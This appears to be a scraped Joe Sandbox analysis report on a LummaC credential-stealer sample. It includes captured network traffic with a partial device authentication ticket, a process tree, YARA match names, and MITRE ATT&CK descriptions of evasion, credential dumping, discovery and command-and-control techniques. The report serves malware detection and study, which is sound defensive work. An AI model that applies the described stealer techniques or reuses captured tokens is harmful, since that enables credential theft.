2024-12-28 09:05:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 63 4a 7a 41 34 61 56 30 56 45 53 35 48 4d 2b 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 66 32 33 32 37 36 31 31 33 32 64 35 63 61 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: cJzA4aV0VES5HM+P.2Context: bf232761132d5ca0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:05:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 63 4a 7a 41 34 61 56 30 56 45 53 35 48 4d 2b 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 66 32 33 32 37 36 31 31 33 32 64 35 63 61 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: cJzA4aV0VES5HM+P.3Context: bf232761132d5ca0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:05:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:05:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 6f 6c 64 4b 32 63 6a 69 30 4f 4e 45 5a 55 45 52 4c 4d 39 2f 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AoldK2cji0ONEZUERLM9/g.0Payload parsing failed.

Target ID:	0
Start time:	04:03:04
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\l0zocrLiVW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\l0zocrLiVW.exe"
Imagebase:	0x6b0000
File size:	3'026'432 bytes
MD5 hash:	406A2B6EEBDA1D06D4E6229DD8C81712
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:03:44
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:03:45
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=1716,i,5608380485786749937,14548115154099977496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:03:46
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:03:47
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1968,i,7634424208604645419,15269702319907596955,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 0106B6B1 Relevance: 2.3, Strings: 1, Instructions: 1061COMMON

Download Yara Rule

Strings

5, xrefs: 0106BCB0

Memory Dump Source

Source File: 00000000.00000003.2291927673.0000000001066000.00000004.00000020.00020000.00000000.sdmp, Offset: 01066000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_105c000_l0zocrLiVW.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 353766f1584438bb70cd8e38a9be71f151888841d8d772497a2421ba5909e256
Instruction ID: 0a5cfc938bcf93fb51a582bd3cd535c86d81b7bebe73ab68950d34d5eb83c04c
Opcode Fuzzy Hash: 353766f1584438bb70cd8e38a9be71f151888841d8d772497a2421ba5909e256
Instruction Fuzzy Hash: 7B31BFE684E7C14EE7038B709D657963FB85F27245F0F85EBC4808F4A7E2680909D722

Function 0106B6B1 Relevance: 2.3, Strings: 1, Instructions: 1061COMMON

Download Yara Rule

Strings

5, xrefs: 0106BCB0

Memory Dump Source

Source File: 00000000.00000003.2291927673.0000000001066000.00000004.00000020.00020000.00000000.sdmp, Offset: 01068000, based on PE: false

Associated: 00000000.00000003.2314153770.0000000001068000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_105c000_l0zocrLiVW.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 353766f1584438bb70cd8e38a9be71f151888841d8d772497a2421ba5909e256
Instruction ID: 0a5cfc938bcf93fb51a582bd3cd535c86d81b7bebe73ab68950d34d5eb83c04c
Opcode Fuzzy Hash: 353766f1584438bb70cd8e38a9be71f151888841d8d772497a2421ba5909e256
Instruction Fuzzy Hash: 7B31BFE684E7C14EE7038B709D657963FB85F27245F0F85EBC4808F4A7E2680909D722

Function 0106B6B1 Relevance: 2.3, Strings: 1, Instructions: 1061COMMON

Download Yara Rule

Strings

5, xrefs: 0106BCB0

Memory Dump Source

Source File: 00000000.00000003.2291927673.0000000001066000.00000004.00000020.00020000.00000000.sdmp, Offset: 01064000, based on PE: false

Associated: 00000000.00000003.2291651756.0000000001064000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_105c000_l0zocrLiVW.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 7b15fa0e99ad6be8ecd023dc4f10e38a63bf3294de701d01b91207643f8f1d74
Instruction ID: 0a5cfc938bcf93fb51a582bd3cd535c86d81b7bebe73ab68950d34d5eb83c04c
Opcode Fuzzy Hash: 7b15fa0e99ad6be8ecd023dc4f10e38a63bf3294de701d01b91207643f8f1d74
Instruction Fuzzy Hash: 7B31BFE684E7C14EE7038B709D657963FB85F27245F0F85EBC4808F4A7E2680909D722

Function 01072C16 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2291927673.0000000001066000.00000004.00000020.00020000.00000000.sdmp, Offset: 0105C000, based on PE: false

Associated: 00000000.00000003.2291533725.000000000105C000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_105c000_l0zocrLiVW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3f5385ce463a41bdc8234e5159bb7cb7a09d2cc7a59fdf81f232baa9e80364
Instruction ID: ae01f41ad86ab69d3f7b96d96979815f681eed4409e1491f48a8dc2d24fa97c5
Opcode Fuzzy Hash: 1c3f5385ce463a41bdc8234e5159bb7cb7a09d2cc7a59fdf81f232baa9e80364
Instruction Fuzzy Hash: C3C1CE5280E3C15FD7538B744D79891BFB0AD2311435E8ADFC8C68F8A3E249984AD76B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report l0zocrLiVW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
l0zocrLiVW.exe